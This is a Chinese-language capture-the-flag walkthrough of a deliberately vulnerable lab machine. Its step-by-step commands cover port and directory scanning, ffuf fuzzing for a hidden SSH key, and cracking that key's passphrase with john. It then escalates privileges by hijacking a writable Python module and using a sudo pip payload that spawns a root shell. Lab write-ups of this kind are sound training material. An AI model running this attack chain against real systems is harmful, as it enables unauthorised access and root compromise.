靶机地址(中等)
渗透知识点
(1)目录扫描
(2)Fuzz爆破
(3)john工具转化ssh密钥
(4)水平越权
(5)sudo(pip提权)
思路总结
(1)尝试爆破和弱口令登录ssh未果
(2)敏感目录泄露,FUZZ爆破出密钥
(3)jhon转化密钥,破解密钥
(4)利用密钥进行ssh登录靶机
(5)查看用户可执行权限的文件
(6)水平越权
(7)pip命令提权
渗透流程
一、主机发现
靶机IP(192.168.186.157)
攻击机IP(192.168.186.135)
二、端口扫描
(1)扫描服务程序版本,操作系统
nmap -sV -p- -O 192.168.186.157
(2)强力扫描(能进行目录扫描)
nmap -A -sV -T4 -p- 192.168.186.157
三、实施攻击
1.SSH端口渗透
开放22端口,尝试爆破和未授权试探无果
2.HTTP端口渗透
(1)访问80端口
(2)查看源码(无信息泄露)
(3)目录扫描,dirsearch扫描(扫描有点慢)
dirsearch.py -u http://192.168.186.157/
(4)访问robots
(5)访问~myfiles目录
(6)源码查看(应该还有类似~myfiles的目录)
(7)使用ffuf进行模糊爆破(成功爆出~secret目录)
(-c 颜色输出,-w指定字典,-u指定暴力破解的目录,~FUZZ就是爆破类似~myfiles形式的目录)
ffuf -c -w /usr/share/wordlists/dirb/common.txt -u 'http://192.168.186.157/~FUZZ'
(8)访问~secret目录(爆破的形式是~FUZZ)
(4个关键点,存在ssh私钥,私钥藏起来了,使用fasttrack字典破解,用户名icex64)
(下一步则需要寻找该私钥,并且用fasttrack字典来破解它)
(9)猜测ssh私钥以.xxx的形式存在(参数-e指定后缀名列表,-fc过滤指定403状态返回码)
ffuf -c -w /usr/share/wordlists/dirb/common.txt -u 'http://192.168.186.157/~secret/.FUZZ' -e .txt,.html -fc 403
(10)扫描无果,更换字典
ffuf -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u 'http://192.168.186.157/~secret/.FUZZ' -e .txt,.html -fc 403
(11)访问.mysecret.txt
(12)在线编码识别(base58编码)
Decrypt a Message - Cipher Identifier - Online Code Recognizer
(13)base58解码得到ssh私钥
四、获取shell
(1)将ssh密钥的内容保存为ssh.txt,利用ssh2john工具转化密钥
(ssh2john:转化ssh密钥为john能识别的hash格式,转化之后的密钥是可以被破解的)
在kali中找到ssh2john的路径
locate ssh2john
(2)将ssh.txt转化为passwd.txt(john可识别的hash格式)
/usr/share/john/ssh2john.py ssh.txt > passwd.txt
(3)根据前面的提示,使用fasttrack字典解密ssh,得到ssh密码:P@55w0rd!
john --wordlist=/usr/share/wordlists/fasttrack.txt passwd.txt
John --show passwd.txt
(4)给密钥ssh.txt权限,并以此进行ssh远程登录,拿到用户icex64的shell
chmod 777 ssh.txt
ssh icex64@192.168.186.157 -i ssh.txt
(5)登录时候如果出现报错(error in libcrypto)
错误原因:base58解密过后的编码先复制到了windows笔记本粘贴后再复制文件到kali,导致报错
解决办法:将解码的密钥复制直接以vim的形式保存到kali中
五、权限提升
1.水平越权
(1)查看用户icex64可执行的文件
sudo -l
(2)去到该路径,查看文件(发现文件导入了webbrowser模块)
(3)查找webbrowser模块(python模块)
whereis webbrowser.py
locate webbrowser.py
(4)这里也可以用find命令查找
find /usr -name *webbrowser*
(5)查看该文件,发现导入了os模块
(如果该文件具有可写权,就可以利用os.system('/bin/bash')调用shell)
(6)查看文件的权限(当前用户具备可写权)
ls -l /usr/lib/python3.9/webbrowser.py
(7)改写文件(vim+文件路径,发现靶机没有vim命令)
vim /usr/lib/python3.9/webbrowser.py
(8)使用nano改写
nano /usr/lib/python3.9/webbrowser.py
(9)写入os.system("/bin/bash")
(10)sudo -u命令可以切换到指定用户下执行命令,成功越权至用户arsene
sudo -u arsene python3.9 /home/arsene/heist.py
2.垂直越权
(1)查看用户arsene的权限(发现arsene用户无需root密码就能执行pip命令)
sudo -l
(2)直接搜寻pip提权方法 https://gtfobins.github.io/gtfobins/pip/
(3)使用sudo提权,复制代码,在终端执行,提权成功
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF